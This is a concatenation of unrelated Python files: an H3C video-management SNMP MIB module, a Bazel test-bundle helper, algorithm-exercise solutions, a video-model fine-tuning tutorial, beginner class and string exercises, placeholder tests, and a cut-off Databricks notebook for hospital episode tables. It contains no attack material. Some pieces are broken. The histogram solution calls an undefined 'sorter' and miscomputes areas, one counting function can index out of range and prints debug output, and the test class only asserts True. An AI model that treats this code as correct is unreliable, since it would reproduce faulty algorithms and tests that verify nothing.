hh3cVMManMemUsageThreshold = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1, 11), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 100))).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hh3cVMManMemUsageThreshold.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManMemUsageThreshold.setDescription('The threshold for the Memory usage. When the memory usage exceeds the threshold, a notification will be sent. ')
hh3cVMManHardDiskUsage = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1, 12), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 100))).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hh3cVMManHardDiskUsage.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManHardDiskUsage.setDescription('The hard disk usage for the entity. This object indicates what percent of hard disk are used. ')
hh3cVMManHardDiskUsageThreshold = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1, 13), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 100))).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hh3cVMManHardDiskUsageThreshold.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManHardDiskUsageThreshold.setDescription('The threshold for the hard disk usage. When the hard disk usage exceeds the threshold, a notification will be sent. ')
hh3cVMManTemperature = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1, 14), Integer32()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hh3cVMManTemperature.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManTemperature.setDescription('The temperature for the entity. ')
hh3cVMManTemperatureThreshold = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1, 15), Integer32()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hh3cVMManTemperatureThreshold.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManTemperatureThreshold.setDescription('The threshold for the temperature. When the temperature exceeds the threshold, a notification will be sent. ')
hh3cVMManClientIP = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1, 16), IpAddress()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hh3cVMManClientIP.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManClientIP.setDescription('The client device IP address.')
hh3cVMManUserName = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1, 17), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(0, 32))).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hh3cVMManUserName.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManUserName.setDescription('The client user name.')
hh3cVMManReportContent = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1, 18), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(0, 128))).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hh3cVMManReportContent.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManReportContent.setDescription('The details of the fault which reported by clients')
hh3cVMManClientVideoStreamDiscontinuityInterval = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1, 19), Unsigned32()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hh3cVMManClientVideoStreamDiscontinuityInterval.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManClientVideoStreamDiscontinuityInterval.setDescription('Video stream discontinuity interval. ')
hh3cVMManClientVideoStreamDiscontinuityIntervalThreshold = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1, 20), Unsigned32()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hh3cVMManClientVideoStreamDiscontinuityIntervalThreshold.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManClientVideoStreamDiscontinuityIntervalThreshold.setDescription('The threshold for the video stream discontinuity interval. When the discontinuity interval exceeds the threshold, a notification will be sent. ')
hh3cVMManClientStatPeriod = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1, 21), Unsigned32()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hh3cVMManClientStatPeriod.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManClientStatPeriod.setDescription('The client statistic period. ')
hh3cVMManClientLoginFailNum = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1, 22), Unsigned32()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hh3cVMManClientLoginFailNum.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManClientLoginFailNum.setDescription('The total number of client login failure in last statistic period which is defined by hh3cVMManClientStatPeriod entity.')
hh3cVMManClientLoginFailNumThreshold = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1, 23), Unsigned32()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hh3cVMManClientLoginFailNumThreshold.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManClientLoginFailNumThreshold.setDescription('The threshold for the total number of client login failure in last statistic period. When the number exceeds the threshold, a notification will be sent. ')
hh3cVMManClientVODFailNum = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1, 24), Unsigned32()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hh3cVMManClientVODFailNum.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManClientVODFailNum.setDescription('The total number of client VOD failure in last statistic period which is defined by hh3cVMManClientStatPeriod entity.')
hh3cVMManClientVODFailNumThreshold = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1, 25), Unsigned32()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hh3cVMManClientVODFailNumThreshold.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManClientVODFailNumThreshold.setDescription('The threshold for the total number of client VOD failure in last statistic period. When the number exceeds the threshold, a notification will be sent. ')
hh3cVMManClientVODStart = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1, 26), DateAndTime()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hh3cVMManClientVODStart.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManClientVODStart.setDescription('The start time for VOD.')
hh3cVMManClientVODEnd = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1, 27), DateAndTime()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hh3cVMManClientVODEnd.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManClientVODEnd.setDescription('The end time for VOD.')
hh3cVMManPUExternalInputAlarmChannelID = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1, 28), Unsigned32()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hh3cVMManPUExternalInputAlarmChannelID.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManPUExternalInputAlarmChannelID.setDescription('The ID of the external input alarm channel.')
hh3cVMManPUECVideoChannelName = MibScalar((1, 3, 6, 1, 4, 1, 25506, 9, 1, 2, 1, 29), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(0, 32))).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hh3cVMManPUECVideoChannelName.setStatus('current')
if mibBuilder.loadTexts: hh3cVMManPUECVideoChannelName.setDescription('The name of the video channel. It is suggested that the name includes the channel ID information.')
mibBuilder.exportSymbols("HH3C-VM-MAN-MIB", hh3cVMManPUExternalInputAlarmChannelID=hh3cVMManPUExternalInputAlarmChannelID, hh3cVMManClientVODEnd=hh3cVMManClientVODEnd, hh3cVMManDMECDisobeyStorageScheduleRecoverTrap=hh3cVMManDMECDisobeyStorageScheduleRecoverTrap, hh3cVMManDeviceOfflineTrap=hh3cVMManDeviceOfflineTrap, hh3cVMManIPSANDevIP=hh3cVMManIPSANDevIP, hh3cVMManTemperatureThreshold=hh3cVMManTemperatureThreshold, hh3cVMManClientStatPeriod=hh3cVMManClientStatPeriod, hh3cVMManForwardDeviceCpuUsageThresholdTrap=hh3cVMManForwardDeviceCpuUsageThresholdTrap, hh3cVMManClientRealtimeSurveillanceNoVideoTrap=hh3cVMManClientRealtimeSurveillanceNoVideoTrap, hh3cVMManClientVODFailNumThreshold=hh3cVMManClientVODFailNumThreshold, hh3cVMMan=hh3cVMMan, hh3cVMStatFailConnEstablishRequests=hh3cVMStatFailConnEstablishRequests, hh3cVMStatTotalConnEstablishRequests=hh3cVMStatTotalConnEstablishRequests, hh3cVMStat=hh3cVMStat, hh3cVMStatSuccConnEstablishRequests=hh3cVMStatSuccConnEstablishRequests, hh3cVMStatExceptionTerminationConn=hh3cVMStatExceptionTerminationConn, hh3cVMManForwardDeviceExternalSemaphoreTrap=hh3cVMManForwardDeviceExternalSemaphoreTrap, hh3cVMManForwardDeviceStopKinescopeTrap=hh3cVMManForwardDeviceStopKinescopeTrap, hh3cVMManClientRealtimeSurveillanceVideoStreamDiscontinuityTrap=hh3cVMManClientRealtimeSurveillanceVideoStreamDiscontinuityTrap, hh3cVMManCpuUsageThreshold=hh3cVMManCpuUsageThreshold, hh3cVMManUserName=hh3cVMManUserName, hh3cVMManClientFrequencyLoginFailTrap=hh3cVMManClientFrequencyLoginFailTrap, hh3cVMManReportContent=hh3cVMManReportContent, hh3cVMManPUECVideoChannelName=hh3cVMManPUECVideoChannelName, hh3cVMStatFailConnReleaseRequests=hh3cVMStatFailConnReleaseRequests, hh3cVMManForwardDeviceMotionDetectTrap=hh3cVMManForwardDeviceMotionDetectTrap, hh3cVMManForwardDeviceHardDiskUsageThresholdTrap=hh3cVMManForwardDeviceHardDiskUsageThresholdTrap, hh3cVMManTrapPrex=hh3cVMManTrapPrex, hh3cVMStatTotalConnReleaseRequests=hh3cVMStatTotalConnReleaseRequests, hh3cVMManForwardDeviceStartKinescopeTrap=hh3cVMManForwardDeviceStartKinescopeTrap, hh3cVMManClientVODNoVideoTrap=hh3cVMManClientVODNoVideoTrap, hh3cVMManRegionCoordinateY2=hh3cVMManRegionCoordinateY2, hh3cVMManCpuUsage=hh3cVMManCpuUsage, hh3cVMManClientVideoStreamDiscontinuityIntervalThreshold=hh3cVMManClientVideoStreamDiscontinuityIntervalThreshold, hh3cVMManClientVODStart=hh3cVMManClientVODStart, hh3cVMManMIBTrap=hh3cVMManMIBTrap, hh3cVMCapabilitySet=hh3cVMCapabilitySet, hh3cVMManRegionCoordinateY1=hh3cVMManRegionCoordinateY1, hh3cVMManMIBObjects=hh3cVMManMIBObjects, hh3cVMManForwardDeviceTemperatureThresholdTrap=hh3cVMManForwardDeviceTemperatureThresholdTrap, hh3cVMManClientCtlConnExceptionTerminationTrap=hh3cVMManClientCtlConnExceptionTerminationTrap, hh3cVMManForwardDeviceMemUsageThresholdTrap=hh3cVMManForwardDeviceMemUsageThresholdTrap, hh3cVMManClientFrequencyVODFailTrap=hh3cVMManClientFrequencyVODFailTrap, hh3cVMManDMECDisobeyStorageScheduleTrap=hh3cVMManDMECDisobeyStorageScheduleTrap, hh3cVMManRegDevIP=hh3cVMManRegDevIP, hh3cVMManMemUsage=hh3cVMManMemUsage, hh3cVMManTemperature=hh3cVMManTemperature, hh3cVMManClientLoginFailNumThreshold=hh3cVMManClientLoginFailNumThreshold, hh3cVMManClientVODFailNum=hh3cVMManClientVODFailNum, hh3cVMManClientReportTrap=hh3cVMManClientReportTrap, hh3cVMManHardDiskUsage=hh3cVMManHardDiskUsage, hh3cVMManDeviceOnlineTrap=hh3cVMManDeviceOnlineTrap, hh3cVMManForwardDeviceVideoLossTrap=hh3cVMManForwardDeviceVideoLossTrap, hh3cVMManClientLoginFailNum=hh3cVMManClientLoginFailNum, hh3cVMManRegionCoordinateX1=hh3cVMManRegionCoordinateX1, hh3cVMManRegDevName=hh3cVMManRegDevName, hh3cVMManClientIP=hh3cVMManClientIP, PYSNMP_MODULE_ID=hh3cVMMan, hh3cVMManClientVODVideoStreamDiscontinuityTrap=hh3cVMManClientVODVideoStreamDiscontinuityTrap, hh3cVMManTrapObjects=hh3cVMManTrapObjects, hh3cVMManClientVideoStreamDiscontinuityInterval=hh3cVMManClientVideoStreamDiscontinuityInterval, hh3cVMManForwardDeviceCoverTrap=hh3cVMManForwardDeviceCoverTrap, hh3cVMManRegionCoordinateX2=hh3cVMManRegionCoordinateX2, hh3cVMStatSuccConnReleaseRequests=hh3cVMStatSuccConnReleaseRequests, hh3cVMManMemUsageThreshold=hh3cVMManMemUsageThreshold, hh3cVMManHardDiskUsageThreshold=hh3cVMManHardDiskUsageThreshold, hh3cVMManForwardDeviceVideoRecoverTrap=hh3cVMManForwardDeviceVideoRecoverTrap)
|
# Copyright 2017 The Bazel Authors. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Helper methods for implementing the test bundles."""
load(
"@build_bazel_rules_apple//apple/bundling:binary_support.bzl",
"binary_support",
)
load(
"@build_bazel_rules_apple//apple/bundling:bundler.bzl",
"bundler",
)
load(
"@build_bazel_rules_apple//apple:providers.bzl",
"AppleBundleInfo",
)
# Default test bundle ID for tests that don't have a test host or were not given
# a bundle ID.
_DEFAULT_TEST_BUNDLE_ID = "com.bazelbuild.rulesapple.Tests"
def _computed_test_bundle_id(test_host_bundle_id):
"""Compute a test bundle ID from the test host, or a default if not given."""
if test_host_bundle_id:
bundle_id = test_host_bundle_id + "Tests"
else:
bundle_id = _DEFAULT_TEST_BUNDLE_ID
return bundle_id
def _test_host_bundle_id(test_host):
"""Return the bundle ID for the given test host, or None if none was given."""
if not test_host:
return None
test_host_bundle_info = test_host[AppleBundleInfo]
return test_host_bundle_info.bundle_id
def _apple_test_bundle_impl(ctx,
mnemonic,
progress_description,
extra_providers):
"""Implementation for the test bundle rules."""
test_host_bundle_id = _test_host_bundle_id(ctx.attr.test_host)
if ctx.attr.bundle_id:
bundle_id = ctx.attr.bundle_id
else:
bundle_id = _computed_test_bundle_id(test_host_bundle_id)
if bundle_id == test_host_bundle_id:
fail("The test bundle's identifier of '" + bundle_id + "' can't be the " +
"same as the test host's bundle identifier. Please change one of " +
"them.")
binary_artifact = binary_support.get_binary_provider(
ctx.attr.deps, apple_common.AppleLoadableBundleBinary).binary
deps_objc_provider = binary_support.get_binary_provider(
ctx.attr.deps, apple_common.AppleLoadableBundleBinary).objc
bundler_providers, legacy_providers, additional_outputs = bundler.run(
ctx,
mnemonic,
progress_description,
bundle_id,
binary_artifact=binary_artifact,
deps_objc_providers=[deps_objc_provider],
version_keys_required=False,
)
return struct(
files=additional_outputs,
instrumented_files=struct(dependency_attributes=["binary", "test_host"]),
providers=extra_providers + bundler_providers,
**legacy_providers
)
# Define the loadable module that lists the exported symbols in this file.
apple_test_bundle_support = struct(
apple_test_bundle_impl=_apple_test_bundle_impl,
)
|
#!/usr/bin/python3
'''
定义:
+ free block of length i, starting from 0 to (i-1)
+ its corresponding suffix is reprented by lx[i:] (with 1 subtracted)
分析:
+ bits string set can be seperated into several disjoint sets (DS)
+ the number of disjoint sets = number of 1 in bitstring (x+1)
+ one special DS is the one with no prefix and only (and maximum) free block
+ if we thus think x and y combination as UION of cartesian product of DSs (which is easy to calculate)
'''
def fix2(lx,ly):
nx = len(lx)
ny = len(ly)
c = 0
zx = [1-lx[0]]*nx
zy = [1-ly[0]]*ny
for i in range(1,nx): zx[i] = zx[i-1]+(lx[i]==0)
for i in range(1,ny): zy[i] = zy[i-1]+(ly[i]==0)
fit = [True]*nx
for i in range(ny-1,-1,-1):
fit[i] = False if (lx[i]==1 and ly[i]==1) else fit[i+1]
for i in range(nx-1):
for j in range(ny-1):
if lx[i]==0 or ly[j]==0 or fit[max(j,i)+1]==False:
continue
if j>i:
c += (3**i)*(2**(zx[j-1]-zx[i]+1))
else:
c += (3**j)*(2**(zy[min(i-1,ny-2)]-zy[j]+1))
return c*nx
def fix1(lx,ly):
nx = len(lx)
ny = len(ly)
zx = [1-lx[0]]*nx
zy = [1-ly[0]]*ny
for i in range(1,nx): zx[i] = zx[i-1]+(lx[i]==0)
for i in range(1,ny): zy[i] = zy[i-1]+(ly[i]==0)
cx = sum([(3**i)*(2**(zx[ny-2]-zx[i]+1)) for i in range(nx-1) if lx[i]==1])
cy = sum([(3**i)*(2**(zy[ny-2]-zy[i]+1)) for i in range(ny-1) if ly[i]==1])
return nx*cx + ny*cy
def ff(lx,ly): #xl>=yl
fb = lambda n: ((2*n-1)*(3**n)+1)>>2
return fb(len(lx)-1) + fb(len(ly)-1)
def f(x,y): #x>=y
x += 1
y += 1
lx = []
ly = []
while x>0:
lx.append(x%2)
x >>= 1
while y>0:
ly.append(y%2)
y >>= 1
print(lx,ly,ff(lx,ly),fix1(lx,ly),fix2(lx,ly))
return int(ff(lx,ly) + fix1(lx,ly) + fix2(lx,ly))
T = int(input())
for _ in range(T):
x,y = map(int,input().split())
print(f(x,y) if x>y else f(y,x))
|
class Solution:
def canVisitAllRooms(self, rooms):
"""
:type rooms: List[List[int]]
:rtype: bool
"""
if len(rooms) == 1:
return True
if len(rooms[0]) == 0:
return False
curent = set()
visited = [0]
for key in rooms[0]:
curent.add(key)
while len(curent) > 0:
temp = curent.pop()
if temp in visited:
print("I benn here before")
else:
for item in rooms[temp]:
curent.add(item)
visited.append(temp)
if len(visited) == len(rooms):
return True
return False
|
"""2. Fine-tuning SOTA video models on your own dataset
=======================================================
Fine-tuning is an important way to obtain good video models on your own data when you don't have large annotated dataset or don't have the
computing resources to train a model from scratch for your use case.
In this tutorial, we provide a simple unified solution.
The only thing you need to prepare is a text file containing the information of your videos (e.g., the path to your videos),
we will take care of the rest.
You can start fine-tuning from many popular pre-trained models (e.g., I3D, R2+1D, SlowFast and TPN) using a single command line.
"""
######################################################################
# Custom DataLoader
# ------------------
#
# The first and only thing you need to prepare is the data annotation files ``train.txt`` and ``val.txt``.
# We provide a general dataloader for you to use on your own dataset.
# Your data can be stored in any hierarchy, and the ``train.txt`` should look like:
#
# ::
#
# video_001.mp4 200 0
# video_001.mp4 200 0
# video_002.mp4 300 0
# video_003.mp4 100 1
# video_004.mp4 400 2
# ......
# video_100.mp4 200 10
#
# As you can see, there are three items in each line, separated by spaces.
# The first item is the path to your training videos, e.g., video_001.mp4.
# The second item is the number of frames in each video. But you can put any number here
# because our video loader will compute the number of frames again automatically during training.
# The third item is the label of that video, e.g., 0.
# ``val.txt`` looks the same as ``train.txt`` in terms of format.
#
#
# Once you prepare the ``train.txt`` and ``val.txt``, you are good to go.
# In this tutorial, we will use I3D model and Something-something-v2 dataset as an example.
# Suppose you have Something-something-v2 dataset and you don't want to train an I3D model from scratch.
# First, prepare the data anotation files as mentioned above.
# Second, follow this configuration file `i3d_resnet50_v1_custom.yaml <https://raw.githubusercontent.com/dmlc/gluon-cv/master/scripts/action-recognition/configuration/i3d_resnet50_v1_custom.yaml>`_.
# Specifically, you just need to change the data paths and number of classes in that yaml file.
#
# ::
#
# TRAIN_ANNO_PATH: '/home/ubuntu/data/sthsthv2/sthsthv2_train.txt'
# VAL_ANNO_PATH: '/home/ubuntu/data/sthsthv2/sthsthv2_val.txt'
# TRAIN_DATA_PATH: '/home/ubuntu/data/sthsthv2/20bn-something-something-v2/'
# VAL_DATA_PATH: '/home/ubuntu/data/sthsthv2/20bn-something-something-v2/'
# NUM_CLASSES: 174
#
# If you want to tune other parameters, it is also easy to do.
# Change the learning rate, batch size, clip lenght according to your use cases. Usually a small learning rate is preferred since the model initialization is decent.
######################################################################
# We also support finetuning on other models, e.g.,
# `resnet50_v1b_custom.yaml <https://raw.githubusercontent.com/dmlc/gluon-cv/master/scripts/action-recognition/configuration/resnet50_v1b_custom.yaml>`_,
# `slowfast_4x16_resnet50_custom.yaml <https://raw.githubusercontent.com/dmlc/gluon-cv/master/scripts/action-recognition/configuration/slowfast_4x16_resnet50_custom.yaml>`_,
# `tpn_resnet50_f32s2_custom.yaml <https://raw.githubusercontent.com/dmlc/gluon-cv/master/scripts/action-recognition/configuration/tpn_resnet50_f32s2_custom.yaml>`_,
# `r2plus1d_v1_resnet50_custom.yaml <https://raw.githubusercontent.com/dmlc/gluon-cv/master/scripts/action-recognition/configuration/r2plus1d_v1_resnet50_custom.yaml>`_,
# `i3d_slow_resnet50_f32s2_custom.yaml <https://raw.githubusercontent.com/dmlc/gluon-cv/master/scripts/action-recognition/configuration/i3d_slow_resnet50_f32s2_custom.yaml>`_.
# Try fine-tuning these SOTA video models on your own dataset and see how it goes.
#
# If you would like to extract good video features on your datasets,
# feel free to read the next `tutorial on feature extraction <extract_feat.html>`__.
|
class Solution:
"""
@param height: A list of integer
@return: The area of largest rectangle in the histogram
"""
def largestRectangleArea(self, height):
len_histogram = len(height)
ans = 0
height_list = sorter(height, reverse=True)
for now_height in height_list:
max_area = 0
now_area = 0
for i in range(len_histogram):
if height[i] >= now_height:
now_area += height[i] * now_height
else:
max_area = max(max_area, now_area)
ans = max(max_area, ans)
return ans
|
# 17. Take 10 integers from keyboard using loop and print their average value on the screen. (use array to store inputs).
numbers = list(map(int, input("Enter 10 numbers:").split()))
if len(numbers) >= 10:
numbers = numbers[0:10]
print("10 Numbers are", numbers)
print("Average=", sum(numbers)/len(numbers))
|
def parse_parts(line):
space_separated_parts = line.split()
bounds = space_separated_parts[0].split('-')
char = space_separated_parts[1].split(':')[0]
password = space_separated_parts[2]
return int(bounds[0]), int(bounds[1]), char, password
def is_valid_first(min_req, max_req, letter, password):
letter_count = password.count(letter)
return letter_count >= min_req and letter_count <= max_req
# exactly one of the positions must equal the letter
# => logical 'xor' of the two comparisions, 'xor' is equivalent to '!='
def is_valid_second(pos1, pos2, letter, password):
return (password[pos1-1] == letter) != (password[pos2-1] == letter)
def main():
input_filename = 'input.txt'
star_number = 2
num_valid_pws = 0
with open(input_filename, 'r') as input:
for line in input:
num1, num2, letter, password = parse_parts(line)
if star_number == 1:
if is_valid_first(num1, num2, letter, password):
num_valid_pws += 1
elif star_number == 2:
if is_valid_second(num1, num2, letter, password):
num_valid_pws += 1
print('Number of valid passwords: {}'.format(num_valid_pws))
if __name__ == "__main__":
main() |
"""
实例成员
实例变量:s个体的数据
实例方法:个体的行为(操作实例变量)
"""
# name = "双二" # 全局变量内存中只有一份
class Wife:
def __init__(self, name=""):
self.name = name # 每个对象都有一份
def play(self):
print(self.name + "在玩耍")
jian_ning = Wife("建宁") # 在内存中分配空间,存储name
shuagn_er = Wife("双儿") # 在内存中分配空间,存储name
print(jian_ning.name)
# Python内置实例变量,存储的是对象所有实例变量
# {'name': '建宁'}
print(jian_ning.__dict__)
|
""" Escreva um programa onde o usuário digita uma frase
e essa frase retorna sem vogal """
frase = input("Digite uma frase:\n > ").lower()
nova = ''
print(frase.replace('a','').replace('e','').replace('i','').replace('o','').replace('u',''))
for c in frase:
# if c != 'a' and c != 'e' and c != 'i' and c != 'o' and c != 'u':
if c not in 'aeiou':
nova = nova + c
print(nova) |
# Given a collection of numbers, return all possible permutations.
# For example,
# [1,2,3] have the following permutations:
# [1,2,3], [1,3,2], [2,1,3], [2,3,1], [3,1,2], and [3,2,1].
# [1,2] have the following permutations:
# [1,2], [2,1]
class Solution:
# @param {integer[]} nums
# @return {integer[][]}
def permute(self, nums):
# stack version(1):
ans = []
stack = [([], nums)]
while stack:
ret, nums = stack.pop(0)
if nums:
for i in range(len(nums)):
stack.append((ret + [nums[i]], nums[:i] + nums[i+1:]))
else:
ans.append(ret)
return ans
# stack version(2):
# if not nums:
# return nums
# res = [[nums[0]]]
# for i in range(1, len(nums)):
# for j in range(len(res)):
# tmp = res.pop(0)
# for k in range(len(tmp)+ 1):
# res.append(tmp[:k] + [nums[i]] + tmp[k:])
# return res
# recursion version:
# if len(nums) <= 1:
# return [nums]
# permutations = []
# for i in range(len(nums)):
# permutations.extend([ [nums[i]] + p for p in self.permute(nums[:i] + nums[i+1:]) ])
# return permutations
|
a = int(input('Digite o primeiro termo: '))
r = int(input('Digite a razão: '))
c = 1
while c <= 10:
a +=r
c +=1
print(a-r)
|
# import pytest
class TestDatabase:
def test___call__(self): # synced
assert True
def test_default_schema(self): # synced
assert True
def test_schema_names(self): # synced
assert True
def test_table_names(self): # synced
assert True
def test_view_names(self): # synced
assert True
def test_create_table(self): # synced
assert True
def test_drop_table(self): # synced
assert True
def test_refresh_table(self): # synced
assert True
def test_exists_table(self): # synced
assert True
def test_reset(self): # synced
assert True
def test__get_metadata(self): # synced
assert True
def test__cache_metadata(self): # synced
assert True
def test__post_reshape_soon(self): # synced
assert True
def test__sync_with_db(self): # synced
assert True
def test__reflect_database(self): # synced
assert True
def test__reflect_schema(self): # synced
assert True
def test__reflect_object(self): # synced
assert True
def test__autoload_models(self): # synced
assert True
def test_cls_instrument(self): # synced
assert True
def test__remove_expired_metadata_objects(self): # synced
assert True
def test__remove_object_if_exists(self): # synced
assert True
def test__name_from_object(self): # synced
assert True
def test__normalize_table(self): # synced
assert True
def test__table_name(self): # synced
assert True
def test_table_name(self): # synced
assert True
def test__scalar_name(self): # synced
assert True
def test_scalar_name(self): # synced
assert True
def test__collection_name(self): # synced
assert True
def test_collection_name(self): # synced
assert True
|
class Vetor:
def __init__(self, x=0, y=0):
self.x = x
self.y = y
def __repr__(self):
return 'Vetor (%r,%r)' % (self.x, self.y)
def __mul__(self, escalar):
x = self.x * escalar
y = self.y * escalar
return Vetor(x, y)
def __add__(self, outro):
x = self.x + outro.x
y = self.y + outro.y
return Vetor(x, y)
def __bool__(self):
return bool(self.x or self.y)
def __float__(self):
return float(self.x) + float(self.y)
v = Vetor(3, 5)
print(v*3)
v1 = Vetor(0, 0)
v2 = Vetor(8, 2)
print(v1+v2)
print(float(v2))
print(bool(v1))
print(bool(v2)) |
# Databricks notebook source
# MAGIC %md # CCU002_03-D04-custom_tables
# MAGIC
# MAGIC **Description** This notebook creates custom tables, such as long format HES.
# MAGIC
# MAGIC **Author(s)** Venexia Walker
# COMMAND ----------
# MAGIC %md ## Define functions
# COMMAND ----------
# Define create table function by Sam Hollings
# Source: Workspaces/dars_nic_391419_j3w9t_collab/DATA_CURATION_wrang000_functions
def create_table(table_name:str, database_name:str='dars_nic_391419_j3w9t_collab', select_sql_script:str=None) -> None:
"""Will save to table from a global_temp view of the same name as the supplied table name (if no SQL script is supplied)
Otherwise, can supply a SQL script and this will be used to make the table with the specificed name, in the specifcied database."""
spark.conf.set("spark.sql.legacy.allowCreatingManagedTableUsingNonemptyLocation","true")
if select_sql_script is None:
select_sql_script = f"SELECT * FROM global_temp.{table_name}"
spark.sql(f"""CREATE TABLE {database_name}.{table_name} AS
{select_sql_script}
""")
spark.sql(f"ALTER TABLE {database_name}.{table_name} OWNER TO {database_name}")
def drop_table(table_name:str, database_name:str='dars_nic_391419_j3w9t_collab', if_exists=True):
if if_exists:
IF_EXISTS = 'IF EXISTS'
else:
IF_EXISTS = ''
spark.sql(f"DROP TABLE {IF_EXISTS} {database_name}.{table_name}")
# COMMAND ----------
# MAGIC %md ## Long format HES APC
# COMMAND ----------
# MAGIC %sql
# MAGIC CREATE OR REPLACE GLOBAL TEMP VIEW ccu002_03_hes_apc_longformat AS
# MAGIC SELECT *
# MAGIC FROM (SELECT PERSON_ID_DEID AS NHS_NUMBER_DEID,
# MAGIC ADMIDATE,
# MAGIC DISDATE,
# MAGIC EPISTART,
# MAGIC EPIEND,
# MAGIC EPIKEY,
# MAGIC STACK(40,
# MAGIC DIAG_3_01, 'DIAG_3_01',
# MAGIC DIAG_3_02, 'DIAG_3_02',
# MAGIC DIAG_3_03, 'DIAG_3_03',
# MAGIC DIAG_3_04, 'DIAG_3_04',
# MAGIC DIAG_3_05, 'DIAG_3_05',
# MAGIC DIAG_3_06, 'DIAG_3_06',
# MAGIC DIAG_3_07, 'DIAG_3_07',
# MAGIC DIAG_3_08, 'DIAG_3_08',
# MAGIC DIAG_3_09, 'DIAG_3_09',
# MAGIC DIAG_3_10, 'DIAG_3_10',
# MAGIC DIAG_3_11, 'DIAG_3_11',
# MAGIC DIAG_3_12, 'DIAG_3_12',
# MAGIC DIAG_3_13, 'DIAG_3_13',
# MAGIC DIAG_3_14, 'DIAG_3_14',
# MAGIC DIAG_3_15, 'DIAG_3_15',
# MAGIC DIAG_3_16, 'DIAG_3_16',
# MAGIC DIAG_3_17, 'DIAG_3_17',
# MAGIC DIAG_3_18, 'DIAG_3_18',
# MAGIC DIAG_3_19, 'DIAG_3_19',
# MAGIC DIAG_3_20, 'DIAG_3_20',
# MAGIC DIAG_4_01, 'DIAG_4_01',
# MAGIC DIAG_4_02, 'DIAG_4_02',
# MAGIC DIAG_4_03, 'DIAG_4_03',
# MAGIC DIAG_4_04, 'DIAG_4_04',
# MAGIC DIAG_4_05, 'DIAG_4_05',
# MAGIC DIAG_4_06, 'DIAG_4_06',
# MAGIC DIAG_4_07, 'DIAG_4_07',
# MAGIC DIAG_4_08, 'DIAG_4_08',
# MAGIC DIAG_4_09, 'DIAG_4_09',
# MAGIC DIAG_4_10, 'DIAG_4_10',
# MAGIC DIAG_4_11, 'DIAG_4_11',
# MAGIC DIAG_4_12, 'DIAG_4_12',
# MAGIC DIAG_4_13, 'DIAG_4_13',
# MAGIC DIAG_4_14, 'DIAG_4_14',
# MAGIC DIAG_4_15, 'DIAG_4_15',
# MAGIC DIAG_4_16, 'DIAG_4_16',
# MAGIC DIAG_4_17, 'DIAG_4_17',
# MAGIC DIAG_4_18, 'DIAG_4_18',
